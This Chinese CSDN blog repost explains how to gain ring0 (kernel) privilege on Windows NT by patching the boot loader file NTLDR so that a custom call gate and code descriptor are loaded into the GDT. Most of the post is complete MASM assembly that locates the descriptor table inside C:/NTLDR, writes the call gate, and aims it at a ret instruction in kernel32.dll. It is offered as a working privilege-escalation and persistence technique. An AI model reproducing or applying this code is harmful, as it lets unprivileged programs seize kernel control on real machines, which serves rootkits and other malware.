讓程序進入ring0級執行

在保護模式下,ring0有至高無上的權限,他一直是很多黑客程序員追求的目標,在NT平臺上,MS對系統表格作了保護,不能在象win9x那樣,去直接修改系統表格,但是還是有不少辦法能夠進入ring0的,例如,在國內,最早sinister利用編寫驅動程序的方法進入ring0,這也是最通用的方法了,緊跟着WebCrazy又使用讀寫物理內存的方法來讀寫GDT所在的物理內存,在GDT上生成自己的調用門來隨意進出ring0。後來由MGF提出一種更新的方法,這也就是我要介紹的方法,修改NTLDR。

爲什麼要修改NTLDR呢,因爲windows在啓動之時,需要裝載GDT上的描述符,而NT的引導程序是NTLDR,那麼也就是說描述符可能在NTLDR中,如果我們的假設成立,那麼我們就能夠在NTLDR中找到系統描述符,好,我們首先來做個實驗,用UE打開NTLDR,搜索16進制數ffff 0000 009a cf00(這是GDT上的一個描述符,它的選擇子爲8h),結果我們搜到了,那麼證明想法是對的,在向後看,發現還有不少描述符,哈哈,如果我們在搜索到的描述符區域中空的地方加入自己的調用門和自己的系統描述符,當系統重新啓動的時候我們的調用門就會被操作系統裝載到內存中,這樣我們就有了我們需要的調用門,就可以利用這個調用門自由進出ring0了。這裏可能有人要問爲什麼不用系統選擇子08h所對應的描述符,而自己生成自己的選擇子和描述符,這是因爲我們的調用門所指向的代碼一般都在用戶區,MS會做檢測,如果發現運行在選擇子爲8h的代碼在0x80000000以下,就會認爲是非法進入ring0,就會產生異常。下面請看代碼
;修改ntldr添加調用門,運行任意ring0代碼的例子
.386
.model        flat,stdcall
option        casemap:none
include        d:/masm32/include/windows.inc
include        d:/masm32/include/kernel32.inc
include        d:/masm32/include/user32.inc
includelib d:/masm32/lib/kernel32.lib
includelib d:/masm32/lib/user32.lib
.data
szFileName        db        'C:/NTLDR',0
dwAttrib                dd        0
hFile                                dd        0
hMap                                dd        0
pFile                                dd        0
dwFileSize        dd        0
dwC3Code                dd        0
GDTFlag                        dw 0ffffh,0000,9a00h,00cfh,0ffffh,0000,9200h,00cfh        ;GDT中的第一個和第二個描述符
CallGate                 dw 0000,0108h,0ec00h,0000,0ffffh,0000,9a00h,00cfh        ;調用門和一個自己系統描述符
CallSel                        dd        0
                                                dw        103h ;調用門的選擇子
.code
start:
        push        offset szFileName
        call        GetFileAttributes        ;得到文件屬性
        mov        edx,eax
        inc        edx
        je        ERROR_GETFILEATTRIB        ;如果返回錯誤的話就直接退出
        mov        dwAttrib,eax                                                ;否則保存文件屬性
        push        80h
        push        offset szFileName
        call        SetFileAttributes        ;設置文件屬性爲一般文件
        call        FindC3Code        ;在kernel32.dll中搜索ret指令
        push 0
        push 80h
        push 3
        push 0
        push 3
        push 0c0000000h                       
        push        offset szFileName
        call        CreateFileA        ;打開文件
        mov        edx,eax
        inc        edx
        je        ERROR_OPENFILE
        mov        hFile,eax
        push        0
        push        hFile
        call        GetFileSize
        mov        dwFileSize,eax        ;得到文件大小
        push 0
        push 0
        push 0
        push 4
        push 0
        push        hFile
        call        CreateFileMapping
        or        eax,eax
        je        ERROR_FILEMAP
        mov        hMap,eax
        push 0
        push 0
        push 0
        push 6
        push eax
        call        MapViewOfFile        ;文件映射到內存
        or        eax,eax
        je        ERROR_MAP
        mov        pFile,eax
        mov        edi,eax
        mov        esi,offset GDTFlag
        mov        ecx,dwFileSize
@@:        ;在NTLDR中搜索描述符
        inc edi
        push esi
        push edi
        push ecx
        mov ecx,10h
        repz cmpsb
        pop ecx
        pop edi
        pop esi
loopnz @B
        ;發現標誌後,準備在GDT中搜索一個空間來存放調用門
        or        ecx,ecx
        je        ERROR_MAP        
        xor eax,eax
        mov ecx,80h
@@:
        sub edi,8
        push edi
        push ecx
        mov ecx,8
        repz scasb        ;再次確認位置
        pop ecx
        pop edi
        loopnz @B        
        or        ecx,ecx
        je        ERROR_MAP
        add edi,100h
        lea        esi,CallGate
        mov ecx,10h
        rep movsb ;寫入調用門
        mov edx,dwC3Code
        mov word ptr [edi-16],dx
        shr edx,16
        mov word ptr [edi-10],dx        ;使調用門指向ret的地址
ERROR_MAP:
        push        pFile
        call        UnmapViewOfFile
ERROR_FILEMAP:
        push        hMap
        call        CloseHandle
ERROR_OPENFILE:       
        push        hFile
        call        CloseHandle
        push        dwAttrib
        push        offset szFileName
        call        SetFileAttributes        ;還原文件屬性
ERROR_GETFILEATTRIB:
        push        0
        call        ExitProcess
FindC3Code:
        assume        fs:nothing
        mov eax,fs:[30h]   
        mov eax,[eax+0ch]
        mov esi,[eax+1ch]
        lodsd               
        mov eax,[eax+08h]        ;eax->kernel32 base address       
        mov        edi,eax
        add        edi,1000h        ;從代碼段開始搜索
        mov        ecx,20000h
        mov        al,0c3h;        搜索RET指令
        repnz        scasb
        dec        edi
        mov        dwC3Code,edi
        ret
end        start
這個程序修改NTLDR,在其中GDT的第一個描述符的偏移100h的地方寫入自己的一個調用門和一個系統描述符,在重新啓動以後,我們的調用門將被加載到GDT中,這樣我們就可以自由進出ring0了,另外這個程序的調用門指向kernel32.dll中的一條ret指令,爲什麼要這麼做呢?因爲首先來看看使用調用門後cpu都做了那些事,如果有程序使用了調用門,CPU會保存所有的寄存器,其中包括EAX,EBX,ECX,EDX,ESP,CS,DS,ES,FS,SS,EIP等,在轉向調用門時,我們先來看看堆棧的結構
EIP
Ring3的esp
….
看到了吧,如果我們在這裏執行一條ret指令,就能跳向調用調用門的下一條指令,這樣就轉回了我們自己的程序中了。

本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/yincheng01/archive/2009/06/08/4252024.aspx

發佈了37 篇原創文章 · 獲贊 3 · 訪問量 7萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章